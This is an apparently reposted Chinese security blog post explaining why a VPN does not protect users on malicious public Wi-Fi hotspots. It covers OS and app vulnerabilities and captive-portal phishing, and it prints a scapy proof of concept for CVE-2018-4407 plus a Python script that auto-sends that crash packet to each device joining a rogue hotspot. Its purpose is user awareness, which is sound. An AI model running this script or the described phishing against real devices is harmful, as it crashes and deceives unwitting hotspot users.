首页
学习
活动
专区
工具
TVP
发布

有VPN保护就可以随意连接公共热点?大错特错

背景

提到公共热点、钓鱼热点或恶意热点,我们通常会提到可能存在攻击者在嗅探网络流量中的敏感信息,或者结合DNS劫持打造一个高仿真的钓鱼环境,给用户造成安全威胁。

许多安全从业者在接受采访或咨询时,会推荐在不安全的无线环境中开启VPN。目前国内许多手机应用还提供了免费的VPN功能,作为抵御恶意热点的安全解决方案来吸引用户下载安装。

然而许多产品在对外宣传描述时,存在描述过度或断章取义的情况,不自觉的去掉了限制条件,于是许多用户现在产生了这样的错觉:“只要使用VPN,就能抵御恶意热点中的一切攻击,随意连接WiFi热点也没关系了。”

随意搜了一下,在许多媒体文章中都是这个论调:

“专家认为,通过VPN来连接WiFi是非常安全的。”

“用户只需在移动端开启VPN,填入用户名和密码,就可以安心的在公共WiFi网络中上网了。”

这些描述都是不准确的,使用VPN的确能保护好设备的网络流量,但在恶意热点环境中的攻击威胁远不止如此。

通常,一个用户在连接公共热点时,往往通过如下步骤:

打开无线功能,选择并连接到目标热点。

通常需要通过Captive Portal强制门户页面进行认证获取网络权限。

获取到网络权限后,有安全意识的用户会开启VPN保护流量。

后文我将以实例说明,假设我是一名恶意热点搭建者,面对这些打算使用VPN进行保护的用户,我可以从哪些方面对他们造成威胁。

攻击威胁

系统层面的漏洞

最具影响力的便是操作系统本身的漏洞,对没有及时更新修复漏洞的设备来说是通杀的效果。

1)缓冲区溢出漏洞 CVE-2018-4407

CVE-2018-4407是安全研究员Kevin Backhouse 发现的XNU系统内核中的堆缓冲区溢出漏洞,攻击者可能利用缓冲区溢出进行远程代码执行。由于iOS和macOS都使用XNU,因此iPhone、iPad和MacBook均受到影响。

影响范围:

Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)

Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备

Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备

Apple OS X El Capitan及更早版本:所有设备

Kevin在推特中给出了PoC和演示视频,利用该漏洞可以使得同一局域网下的Macbook和iPhone设备崩溃。

可以通过scapy工具来发送数据触发该漏洞:

from scapy.all import *send(IP(dst="1.2.3.4",options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)]))

如果我们是一个钓鱼热点攻击者,想达到“自动”的效果很简单,定时监听当前网络活跃主机向其发送攻击代码即可。

假设使用了dnsmasq程序提供DHCP和DNS服务,dhcp池文件保存在‘/var/lib/misc/dnsmasq.leases’文件中。

import os, timefrom scapy.all import *lines_old = 0lines_new = 0while 1: lines_old = lines_new if os.path.exists('/var/lib/misc/dnsmasq.leases'): f = open('/var/lib/misc/dnsmasq.leases', 'r').readlines() lines_new = len(f) if lines_new > lines_old: for i in range(lines_old, lines_new): value = f[i].split() if len(value) == 5: print value[2] + ' ' + value[1] + ' ' + value[3] + ' Connect!' for i in range(3): #For Apple devices(CVE-2018-4407) send(IP(dst=value[2],options=[IPOption("A"*18)])/TCP(dport=2323,options=[(19, "1"*18),(19, "2"*18)])) time.sleep(1) time.sleep(3)

该段代码的作用是:每3秒读取一次dhcp文件,如果发现新的主机,生成exploit发向该设备。

如果这些苹果设备没有及时更新到漏洞修复的版本,就会出现如下图所示的崩溃效果:

2)永恒之蓝

永恒之蓝(EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织Shadow Brokers泄漏。该工具利用TCP445 port上的文件共享协议漏洞进行散播。

尽管微软于2017年3月14日发布操作系统补丁修补了这个漏洞,5月12日WannaCry勒索软件利用这个漏洞传播时,很多Windows用户仍然没有安装补丁,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。

永恒之蓝大家都很熟悉,就不继续详细说明了。对于热点网络中没有修复漏洞的Windows设备,我们已经可以获取到系统最高权限。

软件应用上的漏洞

除了操作系统本身外,我们安装的各类软件应用会开放一些服务,如果它们存在安全缺陷也会成为一个攻击点,比如前两天爆出的ES文件管理器的安全问题。

研究人员发现ES文件管理器启动后会创建本地HTTP服务器,在其所有后台服务被结束前该服务器始终开启,处于相同网络的任意用户可直接向安装 ES 管理器的设备发起攻击。

所以,当连入恶意热点的Android客户端后台开启了含有漏洞的ES文件浏览器时,我们甚至可以直接从设备上获取照片、视频、文档了。

顺便提一句,官方已经完成修复并上架应用市场,Android用户看到这记得升级一下。

利用Captive Portal进行钓鱼

如果无线客户端本身不存在漏洞,我们还可以利用Captive Portal来进行一些攻击。

前面提到用户在开启VPN前,需要经过Captive Portal强制门户的认证,大部分无线设备都会自动出来一个弹窗,如下图所示。

在打开的网页中,通常通过账号密码、手机验证码、微信认证等形式进行认证来开通网络权限,否者是没网的。

攻击者同样可以在恶意热点上实现Captive Portal认证,并自定义Portal主页对用户进行欺骗钓鱼,比如假言需要在表单中填入个人信息来换取免费使用网络,如下图所示。

简单来说,这利用了在开启VPN前,需要通过Portal页面开通网络权限的间歇进行了钓鱼攻击。

进一步利用Portal

在Pwn2own 2018上,有许多通过浏览器发起的攻击都利用到了WiFi Captive Portal的特性进行自动触发。

我们来仔细看看这个Portal浏览器,它与正常的系统浏览器是不一样的,出于安全考虑它并没有包含所有功能,比如Cookie、下载等功能都被限制了,但在部分手机系统上是支持URL Scheme的。

://:

/

?

URL Scheme是iOS和Android提供给开发者的一种APP跳转方式。Android应用在Mainfest中注册自己的Scheme,iOS应用在APP属性中配置。配置完成后,就可以通过url的形式唤醒APP。比如可以利用这个技术,在Portal浏览器中调用微信进行认证。

后来我认真想了想,怎么滥用这个特性。

2019最新乞讨方式

麻烦评论区补充idea

后来发现三星已经发现并修复了这个利用Captive Portal自动重定向到第三方应用的问题(SVE-2018-13474)。

我就想着给自己用来测试的miui也提一个,正好他们也有SRC。结果被忽略了,因为他们觉得不属于miui的问题。

好吧。

总结

虽然我们的终端设备通常不会直接暴露在互联网上遭到攻击,但很难确保在各类无线网络中是否存在潜藏着的攻击者。

这篇文章想表达三个重点:

VPN并不是公共热点的万能保护福,它能保护网络流量,但还可能遭到其他形式的攻击。

请对所有热点采取默认不信任态度,尽量不连接公共热点。

及时进行系统、软件的更新,确保对各类安全缺陷的修复。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20190124A1EEHF00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券